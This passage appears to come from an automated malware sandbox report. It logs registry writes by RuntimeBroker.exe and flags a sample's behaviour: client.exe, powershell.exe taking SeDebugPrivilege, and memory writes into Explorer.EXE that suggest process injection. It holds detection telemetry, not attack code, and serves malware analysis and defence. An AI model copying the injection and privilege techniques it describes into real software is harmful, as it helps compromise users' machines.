Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- = ca0de26f73f7d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b1946a53-8f3b-4fca- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b251cae-4cad-464f- = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\4111bde53dd41ee17abf72377c4a0e7112293fd0b06e8216de61e408f05d2591" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b5e1bef8402d207d16a7813b62c44bc3b5b91f84c8701a8d91b139ab386652c5" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\963ddcf6-cf40-48a6- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000d64a807073f7d9019483b97073f7d9019483b97073f7d901137b02000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000343131316264653533646434316565313761626637323337376334613065373131323239336664306230366538323136646536316534303866303564323539310000b20009000400efbe4557a8504557a8502e00000000000000000000000000000000000000000000000000c9196800340031003100310062006400650035003300640064003400310065006500310037006100620066003700320033003700370063003400610030006500370031003100320032003900330066006400300062003000360065003800320031003600640065003600310065003400300038006600300035006400320035003900310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34313131626465353364643431656531376162663732333737633461306537313132323933666430623036653832313664653631653430386630356432353931000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853c23317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853c23317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000edddb06f73f7d901edddb06f73f7d901edddb06f73f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000376263303038386562613639396239326566613437303831623538656635623532613836346266616134316164646365343838393961616530356232646665340000b20009000400efbe4557a8504557a8502e0000000000000000000000000000000000000000000000000013b88400370062006300300030003800380065006200610036003900390062003900320065006600610034003700300038003100620035003800650066003500620035003200610038003600340062006600610061003400310061006400640063006500340038003800390039006100610065003000350062003200640066006500340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37626330303838656261363939623932656661343730383162353865663562353261383634626661613431616464636534383839396161653035623264666534000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853423317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853423317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\10a7da26-c1aa-4ef4- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01bc522f-f458-4257- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b1946a53-8f3b-4fca- = e8c0ec6f73f7d901 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6b251cae-4cad-464f- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa8337a7-6ad6-4d8d- = 9bf7c27173f7d901 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\7bc0088eba699b92efa47081b58ef5b52a864bfaa41addce48899aae05b2dfe4" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e698d2d9-1d81-436c- = 2deaf96f73f7d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd88c145-4a06-49c3- = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3b2bc893-893d-4ba0- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa8337a7-6ad6-4d8d- = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01bc522f-f458-4257- = 6593a66f73f7d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\963ddcf6-cf40-48a6- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2f491ed8-d2c5-4b9a- = "\\\\?\\Volume{6ADA6BFC-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b5e1bef8402d207d16a7813b62c44bc3b5b91f84c8701a8d91b139ab386652c5" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b44b0ae5-ffae-4ae8- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000377ccd6f73f7d901377ccd6f73f7d901377ccd6f73f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000343131316264653533646434316565313761626637323337376334613065373131323239336664306230366538323136646536316534303866303564323539310000b20009000400efbe4557a8504557a8502e00000000000000000000000000000000000000000000000000c9196800340031003100310062006400650035003300640064003400310065006500310037006100620066003700320033003700370063003400610030006500370031003100320032003900330066006400300062003000360065003800320031003600640065003600310065003400300038006600300035006400320035003900310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c34313131626465353364643431656531376162663732333737633461306537313132323933666430623036653832313664653631653430386630356432353931000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853523317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853523317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd88c145-4a06-49c3- = 0982017073f7d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2f491ed8-d2c5-4b9a- = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd88c145-4a06-49c3- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd88c145-4a06-49c3- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000bdc6fa6f73f7d901bdc6fa6f73f7d901bdc6fa6f73f7d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004557a8502000663939623833306331623331653363383136613066316538376261656130386163303437343963316332303939663663363932663437613738336231333333320000b20009000400efbe4557a8504557a8502e0000000000000000000000000000000000000000000000000043cf3a00660039003900620038003300300063003100620033003100650033006300380031003600610030006600310065003800370062006100650061003000380061006300300034003700340039006300310063003200300039003900660036006300360039003200660034003700610037003800330062003100330033003300320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007569ed551000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c66393962383330633162333165336338313661306631653837626165613038616330343734396331633230393966366336393266343761373833623133333332000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006d647574706377610000000000000000b42f3bdbec912542a73a54e72c5db9853823317a9a53ee1197847ee370c9b5a4b42f3bdbec912542a73a54e72c5db9853823317a9a53ee1197847ee370c9b5a4ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0033003000320037003500350032003000370031002d003400340036003000350030003000320031002d0031003200350034003000370031003200310035002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000fc6bda6a000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\963ddcf6-cf40-48a6- = "8324" RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 4736 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
client.exepowershell.exeExplorer.EXEpid process 4568 client.exe 4568 client.exe 696 powershell.exe 696 powershell.exe 696 powershell.exe 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 696 powershell.exe 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 3176 Explorer.EXE 2608 cmd.exe -
Suspicious use of AdjustPrivilegeToken 27 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exesvchost.exedescription pid process Token: SeDebugPrivilege 696 powershell.exe Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3736 RuntimeBroker.exe Token: SeManageVolumePrivilege 3396 svchost.exe Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE Token: SeShutdownPrivilege 3176 Explorer.EXE Token: SeCreatePagefilePrivilege 3176 Explorer.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE 3176 Explorer.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3176 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
